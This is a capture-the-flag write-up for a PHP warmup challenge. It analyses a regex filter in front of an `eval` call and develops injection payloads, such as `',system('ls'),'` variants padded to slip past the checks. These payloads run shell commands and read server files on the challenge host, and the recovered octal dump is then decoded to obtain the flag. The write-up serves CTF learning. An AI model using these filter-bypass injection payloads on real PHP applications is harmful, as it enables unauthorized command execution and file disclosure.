# InputCalling http://web.zh3r0.cf:2222/, we are received with the following php code:```php24 || gettype($a)!=="string" ){  die("oh nâu!!");}if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){  $a=md5($a);}if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){  $a=md5($a);}
eval("echo 'Hello ".$a."$flag';");
 }```
We can see in the beginning that if the query parameter `user` is not set, it displays its own file (this is why we were received with it).  When the `user` is provided some code is executed and at the end the page shows `'Hello ".$a."$flag'`, trying any input, $flag shows us a picture of a donkey laughing at us.# Understanding the input locally## Input adapted for local usageLet's first remove the include (we don't know what is in it anyway), replace `$flag` by `Here is the flag: ???`. We will write that in a `index.php` file.  We will be able to launch this script using `php -S 127.0.0.1:8000 ./index.php`,  With minor re-indent, the script looks like:```php24 || gettype($a)!=="string" ){die("oh nâu!!");}
      if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){        $a=md5($a);      }
      if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){        $a=md5($a);      }
      eval("echo 'Hello ".$a."Here is the flag: ???';");}```## Making sense of the scriptThe script follows 3 "if" statement.  If we enter the first one, the script dies.  If we enter the second one, our input is updated by its own md5 hash.  If we enter the third one, our input is updated by its own md5 hash.  
After all that, our input (potentially under md5 format) is sent through `eval`, without being sanitized or anything. This is a security flaw we will try to exploit (not that there is anything else here anyway).  To exploit it, we need to skip all the `if` to avoid our command being a md5. Our input will look like `',...,'`, that way we escape the string and execute our code.### First if conditionThe condition is: `strlen($a)>24 || gettype($a)!=="string"`, which can be also written as: `!(strlen($a)<=24 && gettype($a)==="string")`  It means the content of the query parameter must be a string and have maximum 24 characters.### Second if condition```phppreg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a```It means the content of the query parameter must NOT contain any of the following character:```;^~&|[]$.`"+->?nc```It must also not finish by `\`.  
Without n and c, we can forget "print" and "exec" commands. Following advice from [stackoverflow](https://stackoverflow.com/a/732844) and use the `system` command.  Our input will look like `',system(...),'`### Third if conditionThis one is the worst.```php(strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i", substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i", substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))```
Let's go at it step by step. First we should indent it a little bit.```php(		strpos(substr($a,4,strlen($a)),"(")>1		|| strpos(substr($a,6,strlen($a)),")")>1) && (		preg_match("/[A-Za-z0-9_]/i", substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))		|| preg_match("/[A-Za-z0-9_']/i", substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))```
Ready? Go!
#### Third if condition, the first partLet's start with what is before the &&.
`strpos(substr($a,4,strlen($a)),"(")>1` => We check whether there is a `(` after the 4th character of our input  `strpos(substr($a,6,strlen($a)),")")>1` => We check whether there is a `)` after the 6th character of our input  This is very likely to happen if we want to execute commands. We should consider these conditions are always valid. Just writing `',system(...),'` has a parenthesis after the 4th character.  
#### Third if condition, the second partWe are left with:```(		preg_match("/[A-Za-z0-9_]/i", substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))		|| preg_match("/[A-Za-z0-9_']/i", substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))```
We tried to understand it manually at first, but we did a small mistake.  To complete our understanding, let's strip the condition in our `index.php`:```eval("echo 'Hello ".strpos(substr($a,4,strlen($a)),"("));eval("echo 'Hello ".substr($a,2+strpos(substr($a,4,strlen($a)),"("),2));```
If our input is `flagazerty(ABCDEFGHJK)` => we understand that we take the 2 characters preceding the FIRST `(` that is after the 4th position. With our input `ty`. Those characters MUST NOT be alphanumeric characters, nor `_`.  Remember that we want to use `',system(...),'`, it contains a parenthesis after the 4th position. This condition will take the 2 preceding characters `em`, and because at least one of them is alphanumeric, our input will be hashed :(  Let's update our input to have another `(` that will be the one being checked, and write garbage before it. `,,,,(',system(...),'`.  
Let's finish with handling the second part of the OR condition, it focuses on the `)` character.```eval("echo 'Hello ".strpos(substr($a,4,strlen($a)),"("));eval("echo 'Hello ".substr($a,2+strpos(substr($a,4,strlen($a)),"("),2));eval("echo 'Hello ".substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1));```
If our input is `flag(AAAABCDEFGHJK)`, it checks that the 11th character after `(` (`H` in our input) is not alphanumeric or `_`.  If our input is `flag(AAAABCDEF)` (i.e. less than 11 characters after `(`), it checks that the character preceding the next `)` (`F` in our input) is not alphanumeric or `_`.  Let's update our input to have another `)` to take care of that: `,,,,()',system(...),'`.  
## Finding the flagWith `,,,,()',system(),'` we have already 18 characters.  Let's do `,,,,()',system('ls'),'` (22 characters). => Reminder to launch the call: `http://web.zh3r0.cf:2222/?user=,,,,()',system('ls'),'`  
It outputs: Hello ,,,,()flag.php index.php robots.txt robots.txt  It would be great to be able to read the content of `flag.php`. After a LOT of time we found that we can use `od` to do an octal dump (`pr` doesn't work, because it will remove the php code) => `,,,,()',system('od *'),'` (24 characters, the MAX). We'll skip this part, the content of flag.php is just:```php$flag = link towards the image of the donkey laughing at us```
With `,,,,()',system('ls /'),'`, we find a file FLAAA444AAGGG999GGG (or something close to that). However `,,,,()',system('od /*'),'` is 25 characters. What a shame!  We then had an idea. The character preceding `)` is `'`, it is not alphanumeric so it still bypass the WAF. After a bit of rework we found `,,',(system('od /*')),'` => 23 characters long and still bypass the WAF!  
`http://web.zh3r0.cf:2222/?user=,,,,',(system('od /F*')),'` returns the octal of the file we are interested in.```0000000 066146 063541 062547 062547 070056 070150 005015 066146 0000020 063541 074170 027170 074164 006564 063012 060554 063147 0000040 065541 032545 005015 066146 063541 060546 062553 006464 0000060 063012 060554 063147 065541 031545 005015 066146 063541 0000100 060546 062553 006462 063012 060554 063147 065541 030545 0000120 005015 064172 071063 075460 032127 066522 070125 032137 0000140 043137 067165 030537 031463 031463 031463 031463 033463 0000160 006575 063012 060554 063147 065541 033145 ```
We can skip the first column, which is just an offset in octal. The data is all the other values.This od format is actually painful to handle 066146 is not the same as the octal numbers 066 and 146 (that can be used with an ascii table).  It is `0*8^5 + 6*8^4 + 6*8^3 + 1*8^2 + 4*8^1 + 6*8^0`, not `0*8^2 + 6*8^1 + 6*8^0` + `1*8^2 + 4*8^1 + 6*8^0`.
We decided to use python to write it in hexadecimal. We could have gone with an array of each octal number, use a foreach to `print(hex())` each of them, but well... it's a CTF, and we're good with sublime text capabilities so it was way faster for us.Below the format is: `print(hex(OCTAL_NUMBER)) # hexadecimal result printed by python => hexadecimal, padded with 0 => Endianness fixed/reversed````pythonprint(hex(0o066146)) # 0x6c66 => 6c66 => 666cprint(hex(0o063541)) # 0x6761 => 6761 => 6167print(hex(0o062547)) # 0x6567 => 6567 => 6765print(hex(0o062547)) # 0x6567 => 6567 => 6765print(hex(0o070056)) # 0x702e => 702e => 2e70print(hex(0o070150)) # 0x7068 => 7068 => 6870print(hex(0o005015)) # 0xa0d  => 0a0d => 0d0aprint(hex(0o066146)) # 0x6c66 => 6c66 => 666cprint(hex(0o063541)) # 0x6761 => 6761 => 6167print(hex(0o074170)) # 0x7878 => 7878 => 7878print(hex(0o027170)) # 0x2e78 => 2e78 => 782eprint(hex(0o074164)) # 0x7874 => 7874 => 7478print(hex(0o006564)) # 0xd74  => 0d74 => 740dprint(hex(0o063012)) # 0x660a => 660a => 0a66print(hex(0o060554)) # 0x616c => 616c => 6c61print(hex(0o063147)) # 0x6667 => 6667 => 6766print(hex(0o065541)) # 0x6b61 => 6b61 => 616bprint(hex(0o032545)) # 0x3565 => 3565 => 6535print(hex(0o005015)) # 0xa0d  => 0a0d => 0d0aprint(hex(0o066146)) # 0x6c66 => 6c66 => 666cprint(hex(0o063541)) # 0x6761 => 6761 => 6167print(hex(0o060546)) # 0x6166 => 6166 => 6661print(hex(0o062553)) # 0x656b => 656b => 6b65print(hex(0o006464)) # 0xd34  => 0d34 => 340dprint(hex(0o063012)) # 0x660a => 660a => 0a66print(hex(0o060554)) # 0x616c => 616c => 6c61print(hex(0o063147)) # 0x6667 => 6667 => 6766print(hex(0o065541)) # 0x6b61 => 6b61 => 616bprint(hex(0o031545)) # 0x3365 => 3365 => 6533print(hex(0o005015)) # 0xa0d  => 0a0d => 0d0aprint(hex(0o066146)) # 0x6c66 => 6c66 => 666cprint(hex(0o063541)) # 0x6761 => 6761 => 6167print(hex(0o060546)) # 0x6166 => 6166 => 6661print(hex(0o062553)) # 0x656b => 656b => 6b65print(hex(0o006462)) # 0xd32  => 0d32 => 320dprint(hex(0o063012)) # 0x660a => 660a => 0a66print(hex(0o060554)) # 0x616c => 616c => 6c61print(hex(0o063147)) # 0x6667 => 6667 => 6766print(hex(0o065541)) # 0x6b61 => 6b61 => 616bprint(hex(0o030545)) # 0x3165 => 3165 => 6531print(hex(0o005015)) # 0xa0d  => 0a0d => 0d0aprint(hex(0o064172)) # 0x687a => 687a => 7a68print(hex(0o071063)) # 0x7233 => 7233 => 3372print(hex(0o075460)) # 0x7b30 => 7b30 => 307bprint(hex(0o032127)) # 0x3457 => 3457 => 5734print(hex(0o066522)) # 0x6d52 => 6d52 => 526dprint(hex(0o070125)) # 0x7055 => 7055 => 5570print(hex(0o032137)) # 0x345f => 345f => 5f34print(hex(0o043137)) # 0x465f => 465f => 5f46print(hex(0o067165)) # 0x6e75 => 6e75 => 756eprint(hex(0o030537)) # 0x315f => 315f => 5f31print(hex(0o031463)) # 0x3333 => 3333 => 3333print(hex(0o031463)) # 0x3333 => 3333 => 3333print(hex(0o031463)) # 0x3333 => 3333 => 3333print(hex(0o031463)) # 0x3333 => 3333 => 3333print(hex(0o033463)) # 0x3733 => 3733 => 3337print(hex(0o006575)) # 0xd7d  => 0d7d => 7d0dprint(hex(0o063012)) # 0x660a => 660a => 0a66print(hex(0o060554)) # 0x616c => 616c => 6c61print(hex(0o063147)) # 0x6667 => 6667 => 6766print(hex(0o065541)) # 0x6b61 => 6b61 => 616bprint(hex(0o033145)) # 0x3665 => 3665 => 6536```
We now feed that in cyber chef.  Input:```666c 6167 6765 6765 2e70 6870 0d0a 666c 6167 7878 782e 7478 740d 0a66 6c61 6766 616b 6535 0d0a 666c 6167 6661 6b65 340d 0a66 6c61 6766 616b 6533 0d0a 666c 6167 6661 6b65 320d 0a66 6c61 6766 616b 6531 0d0a 7a68 3372 307b 5734 526d 5570 5f34 5f46 756e 5f31 3333 3333 3333 3333 3337 7d0d 0a66 6c61 6766 616b 6536```
Operation: `From Hex`
Output:```flaggege.phpflagxxx.txtflagfake5flagfake4flagfake3flagfake2flagfake1zh3r0{W4RmUp_4_Fun_13333333337}flagfake6```
We finally have a flag. We hate `od`, nothing to add.
p.s. It was found in https://ctftime.org/writeup/28631 that spaces can also be used to bypass the WAF, and save even more characters: `',system  ('head /*' ),'`, without feeling the pain of `od`.